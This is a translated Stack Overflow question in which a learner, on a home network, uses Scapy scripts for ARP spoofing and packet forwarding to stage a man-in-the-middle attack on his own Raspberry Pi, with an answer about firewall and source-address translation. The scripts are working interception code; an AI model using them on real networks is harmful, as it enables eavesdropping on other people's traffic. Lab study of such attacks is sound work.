python - Scapy转发包

标签 python networking dns scapy

我只是在用 scapy 学习 python。我阅读并使用了“Network Hacks - Intensivkurs - Angriff und Verteidigung mit Python”(德语)一书。

我想尝试使用 arp 欺骗进行中间人攻击。 我有我的电脑、受害者(我的树莓派)和标准网关。

为了欺骗,我使用了书中的代码片段

#!/usr/bin/python

import sys
import time
from scapy.all import sniff, sendp, ARP, Ether

if len(sys.argv) < 3:
    print sys.argv[0] + " <target> <spoof_ip>"
    sys.exit(0)

iface = "wlan1"
target_ip = sys.argv[1]
fake_ip = sys.argv[2]

ethernet = Ether()
arp = ARP(pdst=target_ip, psrc=fake_ip, op="is-at")
packet = ethernet / arp

while True:
    sendp(packet, iface=iface)
    time.sleep(10)

它有效,我的受害者将我的 mac 显示为网关。 受害者发送的数据包具有正确的 ip 但我的 mac 地址。 现在受害者应该打开一个网站(wget http//example.com),我想使用 Wireshark 来读取流量。但我必须重定向包(DNS 和 TCP/HTTP)。我用这段代码试过了:

#!/etc/usr/python

from scapy.all import *
import sys

iface = "wlan1"
filter = "ip"
VICTIM_IP = "192.168.2.108"
MY_IP = "192.168.2.104"
GATEWAY_IP = "192.168.2.1"
VICTIM_MAC = "### don't want so show###"
MY_MAC = "### don't want so show###"
GATEWAY_MAC = "### don't want so show###"

def handle_packet(packet):
    if (packet[IP].dst == GATEWAY_IP) and (packet[Ether].dst == MY_MAC):
        packet[Ether].dst = GATEWAY_MAC
        sendp(packet)

        print "A packet from " + packet[IP].src + " redirected!"

sniff(prn=handle_packet, filter=filter, iface=iface, store=0)

Wireshark 显示了一个包含正确数据的数据包(IP Source = Victim IP,IP Destination = Gateway IP,MAC Source = Victim MAC,MAC Destination = Gateway MAC)。 网关是一个 DSL 路由器,所以也是一个“DNS 服务器”。

但是我的 Raspberry 没有收到 DNS 响应。我有什么错?

您忠实的

MatStorm

最佳答案

Scapy 不会为您做的一件事是处理防火墙问题;在这种情况下,您最好关闭攻击主机上的主机防火墙。您制作的数据包未使用通常的数据包路径。

此外,当您转发数据包时,您是否正在翻译源地址以便收到响应?我在代码中没有看到...

关于python - Scapy转发包,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/21912854/

相关文章:

c# - 如何检测 Protocol Buffer 消息何时被完全接收?

github - 如何重置github上的cname?

Windows DNS Hook

python - 如果有 4 个字符串元素的列表。几个元素是 - 分隔的字符串。如果我只想打印 - 分隔词的一部分

android - Android 支持 Teredo 吗?

javascript - 在python中使用selenium,如何绕过 "Message: Element is not currently visible"?

java - 查看网络上的多个服务器

基于DNS的策略,用于在服务器关闭时显示漂亮的 "Currently Offline"页面

python - Django读取excel(xlsx)文件以显示在表格中

python - 在 Python 中执行带有特殊字符的 Linux 命令